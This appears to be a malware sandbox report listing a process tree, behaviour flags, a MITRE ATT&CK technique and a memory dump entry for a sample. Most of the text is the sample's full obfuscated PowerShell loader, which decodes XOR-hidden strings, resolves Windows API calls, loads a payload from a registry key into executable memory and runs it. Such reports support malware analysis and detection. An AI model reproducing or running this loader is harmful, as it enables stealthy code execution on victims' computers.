euOulbooBeuCosTilAgyal7To)No ud`$doTDeoSppWcoRagStrOfavafdieBdrnonLaesc3Ha;no`$KeTDaoCepInoPrgForCiaKufIneJorhenReeDo4In Do=Ea SpaSpftysbekMorseiRevPanVriRenBygQusAcbDieErrStetitIdtPoiTegSpebotSk0Ma Te'he3VoASk5FrAst7Re7Va7MyFFr7StCUn7MiBKa6LaASp7foBBi6giDFo7OxBFi7Im0Pl6TeDTe3Va0Re5ReARe7ReBUr7Uv8Ju7In7Ra7Tu0Rh7SuBMo5Ka3En7ShBIn6MaADa7Un6De7Ma1Av7SoAGi3Re6Be3skAUn4JuDAl7AcDAr6MyCTa6MeBKo6ReERe6BoBAn7Hu2ri7Si1Pa6HeBSu6VeDAs7No2Im6Ud7Fo2PyCHe3Il2Li3EnEWi3KnAUn4koDMe7NoDKa6ReCTr6SiBTu6BeESt6BoBKa7Sk2Ty7Ri1Pe6UgBno6NyDLo7Ce2Ha6Ma7Lu2BeDar3Hu2Co3WoEUn3AsAEn5Se3Sk6Li7Ga7Da1bl6CrAPi7XyBKa7Dr0St7Br1Co6AzASa7An1wh7Fr3Pa6Ov7Sc3No2Be3SeEMe3RbASo5suDGr7Un6Me7PaFHv7Pr2Ta7CeDSk7De1Pe7By2Gu7Kn7Ko6StAFa7Da6Sa7Om7Na7FlDPr2UdCSo2scFOp2PrCCe3Fo7Br3eg0Re4MiDAr7HeBEr6myAHu5Ca7Ps7Mo3Ac6IlEAr7El2Di7BuBGr7Fo3Me7boBda7Pr0ap6SaAAd7hwFEn6GnASc7Fo7Ud7Li1Ch7Lu0Ko5Ap8Se7Fi2Bu7asFPo7Pr9so6ChDUn3Ri6Ot3KaABr5SyFPe7ch0Bo6CoAAg7Sr7Ae7Ov2Ch6sbBHu7ep8Se6ThAAr6PyDPu7Ga5He6En7De6EuABr6ShDTh7va3Fo7Pa7Ur6TeDAu6AnDSp7Da7Se7Ga2co7TjBMi6PaCGe2Kh9Ov3Be7he'Co;Eg&Mo(Vi`$ViSOlcBerReuunpSuulalInoDeuBislolVeyFr7Bi)ca Ne`$AfTIdoRipTeoDogMerSkaApfKeeRerSinFoeFl4nv;re`$UuTPaoNepReoBygBirFoaUnfVeeNorgunGreNe5Gr ov=Re ElafufClsRekTvrBoiTivPrnRoiBenUngLosinbMueCerBeeDitMatIciprgPieGetSp0Re Fo'im6StCVi7NoBDy6ImAka6FoBDi6UnCCe7Ni0Di3UnEDo3DiAFo5SiADi7Ge7Fe7TeFIn7HeCUn7InBKl6ReASc7TrBDa6BrDFr7SeBKa7Fe0gr6PrDpr3me0Ka5moDEv6SvCCh7StBRe7UdFFl6PuADy7ReBIn4MoADe6Vg7Ba6prESy7PrBAe3Ro6Hy3El7Sn'yo;Sc&Fo(Wo`$TrSHacVirWruSnpGeuBilReoFouInsValinyFi7ka)Bi Mu`$MaTHaoSepAdosugInrGaaGrfkreSurovnMaeIn5Re Fr Ka Br;Un}Dr`$LaRSyeThdFeeAugHarCeeOllUnsUneAbrRe Un=gr UnaFufBesPrkInrDiiMuvlenFoiVrnDogTeshybbaeArrCheSutTetBeiCugEseDitTr0Jr Ho'Ot7Yt5Cy7reBFi6ArCTf7Ce0Hy7StBNi7ek2Aa2UdDHa2AuCVi'Fl;Li`$TuTBioKipseoRagJorFoaElfSteOprSqnLieMu6Sk Kl=Ha PaaclfAnsFekBorHiiUdvTunRditanRegCosMabBreStrBlesutbltcyiIsgaseMotNo0Si Fr'Vi3TeAEr5Yo9Bk7Fa1Tr7Re3Pa7HuBLi6AfCBa7EtFIl7Nu2Du6AfDAl3BaEva2Ca3So3adEOn4Bl5Sn4HaDCe6No7Re6VeDAv6UnANo7SyBEv7Sw3Ov3Sp0Do4KnCDe6jaBFn7Vi0Ly6OfAHe7An7Cl7To3Ba7StBsh3In0Il5br7An7Fe0Bu6BiASl7PhBKo6DiCSu7Co1Sa6EmEDi4AvDSt7BoBGl6RaCDy6In8En7Pr7Mi7EnDBu7TjBEx6BrDUn3Sh0Ir5Pl3Sp7NeFUm6SmCTh6InDFe7Be6Fo7ReFUn7Ho2Kr4Su3My2At4po2Wr4Ko5Op9Di7svBKo6ThARe5BoAHu7SlBFe7Do2Tr7PiBOf7Fa9Ta7HnFOn6FaARe7SyBOc5Ci8Mi7Di1Sc6coCMa5Re8Om6DeBDy7Ha0Ag7SeDSp6TyAFo7Th7Gr7Da1ma7Gr0Sl4HaEGe7Be1Ti7Fj7br7He0ua6OeAGo7ErBSu6FjCRe3Fo6Mi3In6Tr7Ba8Gu7Al5Sp6HiEBr3FoECh3dsAUd4miCKa7DiBDe7ByAUn7saBBa7un9Ut6SpChe7DeBNo7Lo2Un6brDSp7ShBPa6ZeCEs3HjEIm3FiAAv4TeDFr7PlDEn6BeCpr6CoBbu6PaEDe6quBPr7Un2Er7Vi1ol6CoBFr6BoDYn7Bi2En6no7Fo2VeAAp3Co7Sp3Fa2Bl3MaEOr3Un6Fa5an9Po5RaATr4SnACh3HaESc5BlEPa3Ri6Vn4to5Ka5Br7Un7Le0Sc6BaAAf4SyEFu6HiAFl6TaCTi4Da3Sl3Ve2St3TrEPo4Sk5Ec4CoBEt5Za7Si7St0Kn6KoAGo2AnDpa2GyCGl4Ra3Fo3sn2Gr3VaERe4Ur5Ek4PrBSt5Un7Ro7Pa0Ve6HuAKd2AuDHo2CuCEn4Se3Un3Cy2Gl3ObEcl4Br5De4PaBCa5Ov7Ud7An0Mi6AnAMa2PiDLi2CrCKa4Lk3Pi3Et7Ci3StEPa3Da6ba4Ge5Ag5St7In7Sa0Sn6blABa4AcEMa6ReATh6FlCBj4Po3Al3Tj7An3Fl7Mo3Ha7Ch'Ek;Ko&Hv(ba`$ImSCocForAfuPrpCouSklGeoGruStsPrlDoyWe7Pa)He Ur`$ToTBloDepUnoVogUdrBjaSmfSqebrrTunDreAr6Ha;im`$PsUMirAloEspAafTrrOmeelrUn ps=Kv ShfRukRipIn Ma`$MeSSucAfrnoufapUnuKllLeojauDisCalInyAs5In Go`$InStrcYvrlsuUnppruWalFooScuResQulSuyGe6Ba;Pr`$SkTTooGupDaoSkgNorBiaPhfBheMerBanMaeBo7Pa Tu=Na NiaLofSosTakGurStiSavEonTiiBenalgStsMubBoeAfrSteUntAltDaiOmgAleFottw0In Ov'Ra3MeAWa4ReEMe7Be6Me6ImCRu6af7Mu7Sa9Gr7ViFFa7Sm0ra7BoBPe7Ex7Or7MoALa7KoFGu7slBZa2CaCSp2ReAGa2ToFOp2BuDSi3LiEFo2Zu3He3PaERe3deAAb5St9Ga7Co1Pe7Nu3Fl7AdBli6BeCCo7NaFTj7Ja2Is6BaDCh3Dy0Pe5Br7Re7An0bl6te8Ov7An1In7Fr5Wh7BrBBy3Ph6Mo4Me5Fo5Ar7Fo7Fe0Un6EpAHe4DeECh6AnAIn6UnCAn4Ud3El2Un4Cu2Ch4Ca4Bo4Tr7AnBTt6GiCSy7Sa1Un3Di2Sn3FoEEn2An8Sh2Fr8Co2HyETr3Ge2Pu3MaEHi2RuERe6Ha6Bj2CrDSj2ReEPr2OmEfo2SlEFl3Il2Cu3opERe2FlEha6He6Je2PaAVi2unEUn3Th7En'Sy;Sn&Ga(Ev`$WoSStcSlrApuBrpacuBolcroSjuGesMelpryTu7Fo)fi Rr`$PaTUdoHypEvoStgUnrbaaGrfAveSvrChnDdeSk7Kv;Pe`$BrTFooSmpCyoChgMernuaKrfNeePorCenFaeAd8As as=Sn MiaQufEusIgkUlrSviAnvFonHoiConSugGesRebskeCorSpeLatSktAfiSkgCaePstPr0Im Fo'An3ReACo5OvDSn7AnBMu7Lo2Sv7No7Be7FrFPr7HoARe7SiBGo7Ze2Ma6ImECo7La6La6ToBSo6TiDEf3CoEMu2Si3Pa3FoEDa3SiAFi5vs9Mo7Ae1Bi7er3Mi7skBBr6FaCSc7SlFso7Ho2Dy6FrDLa3Pr0Po5Ri7He7Ty0No6Ta8wi7Au1Ne7By5To7TeBBe3Ju6Ba4le5No5Re7Te7Ne0Or6UnATa4ChESj6FoARe6UnCAv4Di3Ir2So4Mu2Di4Li4Sl4Un7AdBbl6SwCVa7Ss1My3Kr2Bl3ShEPa2KeASk2Ko7Wo2EkEan2Up6Ti2Kd8Ug2ToAPo2Bl8Bo2InARe3No2Fi3ReEMe2GlEUn6Hy6Qu2foDTr2EnEOv2IsEst2GlEOm3Bh2Li3PaEFo2DeEUn6Ke6ne2GlAGr3Ko7Pi'Ro;In&Ma(Ov`$RiSOpcBirtiuGrpMauRelAfoLeuGosStlScyRi7He)Ba As`$PlTBaoNepSloQtgForBaaUnffoePrrGlnGeeDe8Ma;Sl`$EkPPlhHorTeyStghjaKrnTaeDiiUndCoaAnePs2He4No1Fe0Bl0si=En'RaHMuKsmCFaUpa:Fa\AmpTerAmabekSotFeiInkAneGrrDeeInnRe\SpPSauCrbFolReiSlkKraOvtShiproAcnps'Ju;Fu`$UnPElhWirNvyDugBeaOrnByeFuiPrdboaUdeHi2jo4Tr1Ne0Re1ha Vi=boaSjfShsDvkCorMaiRavThnFoiMuntrgZasSnbBrenorTieFitExtChiHugOmeCatFo0Al Th'Sn3KeAUd5RoCSk6Ve7Wi7Go9Ce7pu9As7SkBUn7ha7Re7Om0me7UfALr6HaBBr6PrDSe6FoATe6DrCOp7st7Vi7MaBCr7Ud0Ma6SaDEt2Hj3Fi3Ph6Un5En9Bo7slBTy6DiARy3Un3Ka5Am7ma6PrATr7elBUn7Un3Gt4AdEAr6BeCis7Gi1Dr6ReEKa7ChBba6UdCCy6CoAMo6Di7Re3BrEIn3Ex3bo4InEWa7boFHa6LoAGe7La6Dr3SvEUg3PrASe4ChELe7Tu6Pr6UnCSt6is7Un7Dd9Om7DeFFo7El0Ti7DeBPa7gy7Su7TrABr7BiFIn7MoBSe2ChCPr2MeAUp2OpFDe2MuEGr2ReEda3De7Af3Ba0Ar5Ba3Ud6MiBDe7FoAPr7FiADr6Ba7Uk7Re6Gu7MoBSk7OuFUd7DeASc7MuBEx7SnAMo'Sy;Sy&Sp(Ab`$anSstcyerDeuhjpCoubalRooLeuBlsUdlJeyIm7St)St Wh`$CrPLohAtrTiySpgbraAcnMyeHoiJodbraUneMe2Wo4Un1Co0re1Pa;Ke`$BrTImoSppDiobugBarSeaGafFleStrEfnBeeTy9St Ca=Ei InaBifDksDekMorAfiStvBrnAliSunIdgAdsLabSpeKorAneMotOrtWhiSegUdeKotSv0Te Eu'We3OpAbo4MaADr7Su1Be6RvEHj7Pr1Bl7Eu9Wo6StCTo7CoFGl7Do8Hj7FoBne6DeCAc7Op0Pt7QuBPr3SvEBe2Fi3Un3BaEQu4Ch5Fo4ScDGs6Ar7Un6DaDDi6LuAPl7FaBBi7Om3Pr3Al0Mo5PiDBa7Sa1In7Ep0Pu6In8Mi7SuBDe6GoCOp6flAtr4Bi3Sa2Ho4ud2Me4Pi5Ga8Re6ViCBe7Ka1Sy7Se3Tr5ReCSh7prFKn6PrDco7LiBfo2Ov8St2TiAst4IrDAn6EnAAv6SkCNu7St7Ov7Re0Ad7Ra9Re3rh6Ti3BaASk5StCFo6Ra7Ke7Hu9Sn7Wa9Su7PrBPe7Ma7Av7Go0Tr7InAOv6RiBKr6SkDUd6StAAn6inCOf7Bo7Sl7CoBUn7Di0Br6WaDko3Eg7Be'vi;Fr&Un(de`$DiSChcVirJouMapShuUnlInoTruPrsCllDeyUd7Pa)Ni Ch`$PoTOboTepReoNagCorJoaCofaleGarShnReeSc9Pu;En`$DoBUryVggVigMieBuiNonPedBruOpsGatForRoiDieImnGlsUd0Al Cy=Be MeaAsfWosFokFurVeiKlvSknmuikanKrgResMebSeePerPreNotIstNeiUngToeGutCr0At Un'Ko4Sl5Lo4PuDRe6Vi7Ov6AlDNy6BeAAn7AuBBo7Kr3sk3Ba0In4UdCLy6OvBPa7Pr0To6WhAPe7Af7El7Pu3Af7ExBre3Tr0Sk5Fa7As7Un0Ba6KiAho7feBBo6LaCBl7Fu1Fa6KlESk4OvDFl7MiBUn6InCCu6Jo8ka7Un7Yv7FoDRe7OrBHe6LiDSa3Ex0Pa5Se3Sc7InFTv6UnCPr6nuDCa7Sp6Gg7HaFGr7Ac2Ko4Sk3Si2Sa4An2Si4As5koDru7lo1Do6ScEFl6Kr7ov3Fo6he3InAHo4DeAUl7Pa1Ra6AdEMo7Ov1Sk7Sc9Rn6SeCFi7BaFWh7Na8Pa7CaBEq6CaCSt7Pa0Ou7PrBJo3Bi2Le3StEGi2TuEAa3Ab2St3OvEVe3deERr3PrAVo4BaESt7Er6Bo6CaCLa6Is7As7Cr9Do7boFMe7Op0Fi7WrBmi7Oe7Ly7UdAVa7PoFMo7moBMi2UnCDe2HjAHa2SpFHe2RiDBr3Si2ka3PaERh2St8Sp2Ru8Or2beEGo3Sm7No'An;Fu&la(Jo`$GeSSpcAarSuuLopMauColAvoPouMgsPhltryun7Ym)St Si`$BeBSvyAngAagEueSiiJanRedNouKosFutNarHeiSjeLanOmsPa0Ti;An`$MhICekBoetayPrnVgeKasOrsRu=Ov`$ReTReoDipBooPogDerDaaMufBueEkrManMyeLo.PocMioPruEnnBatSu-Ra6Re6Br0Ka;My`$SwBTryAvgSagUteMoiSjnUddInuSespatInrReiFieJonFosSa1ne Ai=Dd raaDufgasStkEprDiiGavChnFriHonBagAcsBibJueParSkeTitKotHjiDagLaeBatCu0Al Lu'Sc4Ip5Di4AdDRe6Da7Bo6ReDSw6BaARr7SeBSu7Un3Do3sk0Bo4ExCTr6inBAr7Br0Tk6BaASu7So7Pl7La3Hy7SeBBy3Ra0Be5Au7Se7Ke0In6ekAAv7PhBNo6SuCDi7Co1Di6FiEPr4KaDVa7EpBPe6PrCUd6Ab8De7Pl7Vi7ReDEf7MoBHa6SyDTr3Bo0Ra5Cr3Ca7KoFSa6LyCTa6PaDbr7De6Am7ElFRe7Sj2Un4Ar3Sc2Eu4Un2Gr4Re5neDEr7Gu1Ti6UdEPs6Ch7sh3Ed6Ne3CaACo4HyAMi7Am1Va6LdEsu7Li1re7by9He6SpCIn7DeFDa7Mi8Ag7prBRe6LuCTe7Bl0Re7UnBre3Un2Vi3OvELo2Ca8Un2Po8Tr2MaEBe3To2br3siEEp3faACo5maDUd7NoBTh7Fi2Sk7Ap7Ny7BrFAn7NoAEf7smBTi7Re2Dr6SkEFo7Pu6Ti6TrBSe6fuDTo3Ud2Ne3FiENo3NuALe5Te7Be7Mo5St7StBOu6Il7St7Re0As7HaBun6TrDNo6StDOf3Gu7Po'Ho;un&Va(Sn`$trSSjcDorSousmpPiuBolUfoThuUdsStlmiySu7St)By Ep`$FlBDoyPugIngwaeHjiTinMrdseuFlsdutRorByiPeekonUnsSh1Sk;Om`$AfBanyChgCagCaePriRenGldOpuVesPrtferApiGieNanHesQu2Pr Vd=Nu FoaFofOvsUnkCerFriAfvInnSaiOvnStgUrsSkbPieForHjejetRitGliEmgEneActim0Pu En'Re3UnASp4OmDAf6KaBSh7HoCmo7St1Ua6Ko8Re7SaFVa6CaAPo7AfBVa3ChEEu2Go3Ta3AkEUn4mo5Ba4brDFe6Un7As6StDKa6CiAJa7CoBAf7Mo3Pi3Dr0In4HlCUd6BlBDa7Co0Ph6ElATo7pe7Mo7St3Fo7GaBAy3Fl0Fr5Sk7Br7Ha0Ef6ArASp7UnBSa6GlCun7Ud1Ct6AnERh4syDAt7FuBAr6DuCAl6Ko8Em7Gr7Fu7siDDa7KlBOv6TeDPl3Le0Un5Fo3Mu7StFAv6ThCIc6ReDFn7un6un7TiFBy7Dk2Mi4Hy3Ma2di4gi2Er4Dr5Mi9Ce7TaBDu6TrASa5PaAHj7PaBEm7St2To7TiBNo7Fo9No7SkFFi6InAAl7PeBPa5Ly8Ca7Ov1ar6EmCDe5Su8Re6KaBKo7Li0Ls7BaDEg6knAVe7Ja7Po7El1Bn7Ej0Fu4BlEve7Va1Ma7Fo7St7No0di6CaAFo7BiBKi6DyCAt3Do6Un3Am6Vi7Do8En7Ma5Un6RhEbo3CoEIs3NaAJa4HeEHj6OvCGr7Al1Ar7SaCPl7Sk2Po7tiBSk7Re3Ko7St2Fr6AlDFo7Di0Eg7Or7Fa7Ts0Fu7Ti9Pi7FlBIn7Fa0an3OvEUn3ReAUn4AzDDo7StBSt7TeBWa7HaASm7Su0Re7Ho7Ch7In0Pu7Ch9Ve7TbBEc6LaCBo6NoDAl3De7fo3Zy2ch3BeEGa3po6St5Sa9Ud5BeAUn4HyADe3feEVr5RyESp3Sm6Sl4Te5Sc5No7Om7No0Kr6FlACo4ArEUd6KuADe6CuCSc4Ta3Ci3Fo2No3MaESw4Pe5St5Co7Fo7Ko0Re6MlANo4UnEJu6InASk6CoCGe4Un3Af3Ap2So3KiEUn4St5Uv5Ps7Ne7Co0so6PsANe4SaEMo6LoAOv6BiCMu4Ta3su3sp2Un3TjEOm4Al5Pl5Ma7fj7Ka0Th6NoAfr4LuEWh6DeAVo6BeCSt4Sa3Ph3en2Ud3SyEKl4ha5Be5Si7Ka7de0Af6XaAFo4dyEEj6UlAUd6FiCFl4Bo3Co3Ti7Sy3AfEse3To6Re4Hi5Sh5un7Ur7Re0Tr6VeAPh4SoEAc6exATr6InCHu4gl3Si3Hu7Ho3Fo7Ob3Wi7Da'La;Di&Se(Ho`$BuSTycCorFiuPapSkuSclpooWiuSpsFrlskyDh7Bl)Be Ch`$FoBDayFrgSogBieFeiTrnFldBruCosAxtFjrEliOpeSunPisbe2Be;Le`$AnBBoySpgGigReeOfiOtnStdPruScsbitDyrSpiAceClnCosPi3Om Re=Tr AaaBofSdsTikanrReitovTenHjiLonFagEusLibJaeSmrFreHrtDetVeiLagKiepatMo0ko Sm'Te3UvAIn4BoDVi6OtBTo7UmCEl7Ae1Te6Bu8Lu7chFSt6ReATr7muBGy3Se0Un5Pr7Sv7Su0Wa6Sa8Pr7Be1ha7St5Fo7CoBef3So6Un3FsABe4GoEBa7Su6Ta6OuCSw6Se7Su7Hy9ho7DiFSl7En0In7OvBBe7Dr7Th7GrABe7TyFRa7AcBUn2PeCHe2PlACa2SvFIn2reDBe3Bl2Ba3LoASe5FdDEn7SuBMi7Ef2Fo7Eg7pr7UnFPr7FaASv7BaBMa7Sk2Ud6OrEEc7Ji6Es6SwBUl6CaDTi3Sk2Au3PoATe4ReBXe6reCMi7Sn1Ma6SpECo7Ar8sp6PaCSn7NaBUd6elCFj3Bu2Ar2DyEsk3Ki2Vi2UnEKo3ch7No'Ej;Ba&Bo(Th`$DaSDocSarPouPlpbuuKrlAnoduuStsTilBayPh7De)St Co`$PyBGryligSagSheToivinGrdMuuStsVitParBoiTneGinKosPa3In#An;""";;Function Byggeindustriens9 { param([String]$Spiraltaager); For($Rationaliseringsgevinster=2; $Rationaliseringsgevinster -lt $Spiraltaager.Length-1; $Rationaliseringsgevinster+=(2+1)){ $afskrivningsberettiget = $afskrivningsberettiget + $Spiraltaager.Substring($Rationaliseringsgevinster, 1); } $afskrivningsberettiget;}$Neuratrophic0 = Byggeindustriens9 'Po Fe Ar Dr Ba He Fe Af Pa Ko Un Su Bu Bl Kr St Tj Co Yd Ca Al Je Ch HeIArEWoXdr ';$Neuratrophic1= Byggeindustriens9 $Squelchers;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Neuratrophic1 ;}else{.$Neuratrophic0 $Neuratrophic1;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:520
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function afskrivningsberettiget0 { param([String]$Spiraltaager); $Trilobed = New-Object byte[] ($Spiraltaager.Length / 2); For($Rationaliseringsgevinster=0; $Rationaliseringsgevinster -lt $Spiraltaager.Length; $Rationaliseringsgevinster+=2){ $Koryf = $Spiraltaager.Substring($Rationaliseringsgevinster, 2); $Trilobed[$Rationaliseringsgevinster/2] = [convert]::ToByte($Koryf, 16); $Trilobed[$Rationaliseringsgevinster/2] = ($Trilobed[$Rationaliseringsgevinster/2] -bxor 30); } [String][System.Text.Encoding]::ASCII.GetString($Trilobed);}$Antiluftskytsmissiler0=afskrivningsberettiget0 '4D676D6A7B73307A7272';$Antiluftskytsmissiler1=afskrivningsberettiget0 '53777D6C716D71786A304977702D2C304B706D7F787B507F6A77687B537B6A76717A6D';$Antiluftskytsmissiler2=afskrivningsberettiget0 '597B6A4E6C717D5F7A7A6C7B6D6D';$Antiluftskytsmissiler3=afskrivningsberettiget0 '4D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30567F707A727B4C7B78';$Antiluftskytsmissiler4=afskrivningsberettiget0 '6D6A6C777079';$Antiluftskytsmissiler5=afskrivningsberettiget0 '597B6A53717A6B727B567F707A727B';$Antiluftskytsmissiler6=afskrivningsberettiget0 '4C4A4D6E7B7D777F72507F737B323E56777A7B5C674D7779323E4E6B7C72777D';$Antiluftskytsmissiler7=afskrivningsberettiget0 '4C6B706A77737B323E537F707F797B7A';$Antiluftskytsmissiler8=afskrivningsberettiget0 '4C7B78727B7D6A7B7A5A7B727B797F6A7B';$Antiluftskytsmissiler9=afskrivningsberettiget0 '5770537B73716C6753717A6B727B';$Scrupulously0=afskrivningsberettiget0 '53675A7B727B797F6A7B4A676E7B';$Scrupulously1=afskrivningsberettiget0 '5D727F6D6D323E4E6B7C72777D323E4D7B7F727B7A323E5F706D775D727F6D6D323E5F6B6A715D727F6D6D';$Scrupulously2=afskrivningsberettiget0 '57706871757B';$Scrupulously3=afskrivningsberettiget0 '4E6B7C72777D323E56777A7B5C674D7779323E507B694D72716A323E48776C6A6B7F72';$Scrupulously4=afskrivningsberettiget0 '48776C6A6B7F725F7272717D';$Scrupulously5=afskrivningsberettiget0 '706A7A7272';$Scrupulously6=afskrivningsberettiget0 '506A4E6C716A7B7D6A48776C6A6B7F72537B73716C67';$Scrupulously7=afskrivningsberettiget0 '575B46';$Scrupulously8=afskrivningsberettiget0 '42';$Problemlsningen=afskrivningsberettiget0 '4B4D5B4C2D2C';$Seedningers=afskrivningsberettiget0 '5D7F72724977707A71694E6C717D5F';function fkp {Param ($Anodiseringernes236, $Velanbefalede) ;$Topograferne0 =afskrivningsberettiget0 '3A4E76716B6D7A7F6C3E233E36455F6E6E5A71737F77704324245D6B6C6C7B706A5A71737F777030597B6A5F6D6D7B737C72777B6D36373E623E49767B6C7B33517C747B7D6A3E653E3A41305972717C7F725F6D6D7B737C72675D7F7D767B3E335F707A3E3A413052717D7F6A777170304D6E72776A363A4D7D6C6B6E6B72716B6D7267263745332F43305B6F6B7F726D363A5F706A77726B786A6D75676A6D73776D6D77727B6C2E373E633730597B6A4A676E7B363A5F706A77726B786A6D75676A6D73776D6D77727B6C2F37';&($Scrupulously7) $Topograferne0;$Topograferne5 = afskrivningsberettiget0 '3A546B6C677B6C707B3E233E3A4E76716B6D7A7F6C30597B6A537B6A76717A363A5F706A77726B786A6D75676A6D73776D6D77727B6C2C323E454A676E7B4543433E5E363A5F706A77726B786A6D75676A6D73776D6D77727B6C2D323E3A5F706A77726B786A6D75676A6D73776D6D77727B6C2A3737';&($Scrupulously7) $Topograferne5;$Topograferne1 = afskrivningsberettiget0 '6C7B6A6B6C703E3A546B6C677B6C707B3057706871757B363A706B7272323E5E36454D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30567F707A727B4C7B784336507B6933517C747B7D6A3E4D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30567F707A727B4C7B783636507B6933517C747B7D6A3E57706A4E6A6C37323E363A4E76716B6D7A7F6C30597B6A537B6A76717A363A5F706A77726B786A6D75676A6D73776D6D77727B6C2B37373057706871757B363A706B7272323E5E363A5F70717A776D7B6C7770797B6C707B6D2C2D2837373737323E3A487B727F707C7B787F727B7A7B3737';&($Scrupulously7) $Topograferne1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Chalcolithic212,[Parameter(Position = 1)] [Type] $Myotenotomy = [Void]);$Topograferne2 = afskrivningsberettiget0 '3A5A777F7C7B6A7B6D7B706D3E233E455F6E6E5A71737F77704324245D6B6C6C7B706A5A71737F7770305A7B7877707B5A67707F73777D5F6D6D7B737C72673636507B6933517C747B7D6A3E4D676D6A7B73304C7B78727B7D6A777170305F6D6D7B737C7267507F737B363A5F706A77726B786A6D75676A6D73776D6D77727B6C263737323E454D676D6A7B73304C7B78727B7D6A777170305B73776A305F6D6D7B737C72675C6B77727A7B6C5F7D7D7B6D6D4324244C6B7037305A7B7877707B5A67707F73777D53717A6B727B363A5F706A77726B786A6D75676A6D73776D6D77727B6C27323E3A787F726D7B37305A7B7877707B4A676E7B363A4D7D6C6B6E6B72716B6D72672E323E3A4D7D6C6B6E6B72716B6D72672F323E454D676D6A7B7330536B726A777D7F6D6A5A7B727B797F6A7B4337';&($Scrupulously7) $Topograferne2;$Topograferne3 = afskrivningsberettiget0 '3A5A777F7C7B6A7B6D7B706D305A7B7877707B5D71706D6A6C6B7D6A716C363A5F706A77726B786A6D75676A6D73776D6D77727B6C28323E454D676D6A7B73304C7B78727B7D6A777170305D7F72727770795D7170687B706A7771706D4324244D6A7F707A7F6C7A323E3A5D767F727D7172776A76777D2C2F2C37304D7B6A57736E727B737B706A7F6A77717058727F796D363A5F706A77726B786A6D75676A6D73776D6D77727B6C2937';&($Scrupulously7) $Topograferne3;$Topograferne4 = afskrivningsberettiget0 '3A5A777F7C7B6A7B6D7B706D305A7B7877707B537B6A76717A363A4D7D6C6B6E6B72716B6D72672C323E3A4D7D6C6B6E6B72716B6D72672D323E3A5367716A7B70716A717367323E3A5D767F727D7172776A76777D2C2F2C37304D7B6A57736E727B737B706A7F6A77717058727F796D363A5F706A77726B786A6D75676A6D73776D6D77727B6C2937';&($Scrupulously7) $Topograferne4;$Topograferne5 = afskrivningsberettiget0 '6C7B6A6B6C703E3A5A777F7C7B6A7B6D7B706D305D6C7B7F6A7B4A676E7B3637';&($Scrupulously7) $Topograferne5 ;}$Redegrelser = afskrivningsberettiget0 '757B6C707B722D2C';$Topograferne6 = afskrivningsberettiget0 '3A5971737B6C7F726D3E233E454D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30537F6C6D767F72432424597B6A5A7B727B797F6A7B58716C586B707D6A7771704E7177706A7B6C363678756E3E3A4C7B7A7B796C7B726D7B6C3E3A4D7D6C6B6E6B72716B6D72672A37323E36595A4A3E5E364557706A4E6A6C43323E454B57706A2D2C43323E454B57706A2D2C43323E454B57706A2D2C43373E364557706A4E6A6C43373737';&($Scrupulously7) $Topograferne6;$Uropfrer = fkp $Scrupulously5 $Scrupulously6;$Topograferne7 = afskrivningsberettiget0 '3A4E766C67797F707B777A7F7B2C2A2F2D3E233E3A5971737B6C7F726D3057706871757B364557706A4E6A6C432424447B6C71323E28282E323E2E662D2E2E2E323E2E662A2E37';&($Scrupulously7) $Topograferne7;$Topograferne8 = afskrivningsberettiget0 '3A5D7B72777F7A7B726E766B6D3E233E3A5971737B6C7F726D3057706871757B364557706A4E6A6C432424447B6C71323E2A272E26282A282A323E2E662D2E2E2E323E2E662A37';&($Scrupulously7) $Topograferne8;$Phryganeidae24100='HKCU:\praktikeren\Publikation';$Phryganeidae24101 =afskrivningsberettiget0 '3A5C6779797B77707A6B6D6A6C777B706D2336597B6A33576A7B734E6C716E7B6C6A673E334E7F6A763E3A4E766C67797F707B777A7F7B2C2A2F2E2E3730536B7A7A67767B7F7A7B7A';&($Scrupulously7) $Phryganeidae24101;$Topograferne9 = afskrivningsberettiget0 '3A4A716E71796C7F787B6C707B3E233E454D676D6A7B73305D7170687B6C6A432424586C71735C7F6D7B282A4D6A6C777079363A5C6779797B77707A6B6D6A6C777B706D37';&($Scrupulously7) $Topograferne9;$Byggeindustriens0 = afskrivningsberettiget0 '454D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30537F6C6D767F724324245D716E67363A4A716E71796C7F787B6C707B323E2E323E3E3A4E766C67797F707B777A7F7B2C2A2F2D323E28282E37';&($Scrupulously7) $Byggeindustriens0;$Ikeyness=$Topograferne.count-660;$Byggeindustriens1 = afskrivningsberettiget0 '454D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30537F6C6D767F724324245D716E67363A4A716E71796C7F787B6C707B323E28282E323E3A5D7B72777F7A7B726E766B6D323E3A57757B67707B6D6D37';&($Scrupulously7) $Byggeindustriens1;$Byggeindustriens2 = afskrivningsberettiget0 '3A4D6B7C71687F6A7B3E233E454D676D6A7B73304C6B706A77737B3057706A7B6C716E4D7B6C68777D7B6D30537F6C6D767F72432424597B6A5A7B727B797F6A7B58716C586B707D6A7771704E7177706A7B6C363678756E3E3A4E6C717C727B73726D707770797B703E3A4D7B7B7A707770797B6C6D37323E36595A4A3E5E364557706A4E6A6C43323E4557706A4E6A6C43323E4557706A4E6A6C43323E4557706A4E6A6C43323E4557706A4E6A6C43373E364557706A4E6A6C43373737';&($Scrupulously7) $Byggeindustriens2;$Byggeindustriens3 = afskrivningsberettiget0 '3A4D6B7C71687F6A7B3057706871757B363A4E766C67797F707B777A7F7B2C2A2F2D323A5D7B72777F7A7B726E766B6D323A4B6C716E786C7B6C322E322E37';&($Scrupulously7) $Byggeindustriens3#"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1488

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/520-62-0x000000000284B000-0x000000000286A000-memory.dmp
